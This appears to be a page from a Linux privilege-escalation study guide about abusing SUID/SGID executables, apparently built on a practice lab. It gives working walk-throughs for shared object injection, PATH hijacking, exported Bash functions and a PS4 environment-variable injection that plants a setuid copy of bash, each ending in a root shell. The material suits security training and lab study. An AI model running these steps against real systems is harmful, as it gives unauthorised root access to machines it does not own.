8. SUID/SGID Executable

SUID

  • is a special file permission for executable files which enables other users to run the file with effective permissions of the file owner.

  • When extra bit “4” is set to user(Owner) it becomes SUID (Set user ID)

  • The permissions to look for when looking for SUID is:

    • rws-rwx-rwx


SGID

  • is a special file permission that also applies to executable files and enables other users to inherit the effective GID of file group owner.

  • When bit “2” is set to group it becomes SGID (Set Group ID).

  • The permissions to look for when looking for GUID is:

    • rwx-rws-rwx


Find all the SUID/SGID executables:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null


A Quick Word on LD_PRELOAD & LD_LIBRARY_PATH

Why we can’t just use the same LD_PRELOAD and LD_LIBRARY_PATH environment variable tricks we used with sudo privilege escalation?

By default, this is disabled in Linux, due to the obvious security risk it presents!

Both these environment variables get ignored when SUID files are executed


Known Exploits

Certain programs install SUID files to aid their operation.

Just as services which run as root can have vulnerabilities we can exploit for a root shell, so too can these SUID files.

Exploits can be found using Searchsploit, Google, and GitHub, in the same way we find exploits for Kernels and Services.


Shared Object Injection

When a program is executed, it will try to load the shared objects it requires.

By using a program called strace, we can track these system calls and determine whether any shared objects were not found.

If we can write to the location the program tries to open, we can create a shared object and spawn a root shell when it is loaded.

  1. Find SUID/SGID files on the target:

    • $ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \;2> /dev/null
      ...
      -rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
      ...
    • The suid-so file should execute with root user permissions.

  2. Run strace on the SUID file:

    • $ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such	file"
      access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or 	directory)
      ...
      open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such 	file or directory)
    - The libcalc.so shared object could not be found, and the program is looking in our user’s home directory, which we can write to.
  3. Create the /home/user/.config directory.

  4. Create the file libcalc.c with the following contents:

    • #include <stdio.h>
      #include <stdlib.h>
      static void inject() __attribute__((constructor));
      void inject() {
      setuid(0);
      system("/bin/bash -p");
      }
  5. Compile libcalc.c into /home/user/.config/libcalc.so:

    • $ gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c
  6. Run the SUID executable to get a root shell:

    • $ /usr/local/bin/suid-so
      Calculating something, please wait...
      bash-4.1# id
      uid=0(root) gid=1000(user) egid=50(staff) groups=0(root) ...

PATH Variable

The PATH environment variable contains a list of directories where the shell should try to find programs.

If a program tries to execute another program, but only specifies the program name, rather than its full (absolute) path, the shell will search the PATH directories until it is found.

Since a user has full control over their PATH variable, we can tell the shell to first look for programs in a directory we can write to

Finding Vulnerable Programs

If a program tries to execute another program, the name of that program is likely embedded in the executable file as a string.

We can run strings on the executable file to find strings of characters.

We can also use strace to see how the program is executing.

Another program called ltrace may also be of use.

Running strings against a file:

$ strings /path/to/file

Running strace against a command:

$ strace -v -f -e execve <command> 2>&1 | grep exec

Running ltrace against a command:

$ ltrace <command>
  1. Find SUID/SGID files on the target:

    • $ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \;2> /dev/null
      ...
      -rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
      ***
    • The suid-env file should execute with root user permissions.

  2. Run strings on the SUID file:

    • $ strings /usr/local/bin/suid-env
      /lib64/ld-linux-x86-64.so.2
      ...
      service apache2 start
    • The file could be trying to run the service program without a full path.

  3. We can verify this with strace:

    • $ strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service
      [pid 14395] execve("/bin/sh", ["sh", "-c", "service apache2 start"],
      ...
  4. Optionally, we can also verify with ltrace

    • $ ltrace /usr/local/bin/suid-env 2>&1 | grep service
      system("service apache2 start"
    • This reveals that the system function is being used to execute the service program.

  5. Create a file service.c with the following contents:

    • int main() {
      setuid(0);
      system("/bin/bash -p");
      }
  6. Compile service.c into a file called service:

    • $ gcc -o service service.c

  7. Prepend the current directory (or where the new service executable is located) to the PATH variable, and execute the SUID file for a root shell:

    • $ PATH=.:$PATH /usr/local/bin/suid-env
      root@debian:~# id
      uid=0(root) gid=0(root) groups=0(root) ...


Abusing Shell Features

  1. we can find shell version and known exploits for instance

    • In Bash versions < 4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.

    • Example

      • Create a Bash function with the name "/usr/sbin/service" that executes a new Bash shell (using -p so permissions are preserved) and export the function:

      • function /usr/sbin/service { /bin/bash -p; }
        export -f /usr/sbin/service
      • Run the suid-env2 executable to gain a root shell:

      • /usr/local/bin/suid-env2

  2. another abuse that was found in Bash versions 4.3 and below is

    • When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements. we can executable suid executeable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:

    • Example

      • Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:

      • env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

      • Run the /tmp/rootbash executable with -p to gain a shell running with root privileges:

      • `/tmp/rootbash -p`


Last updated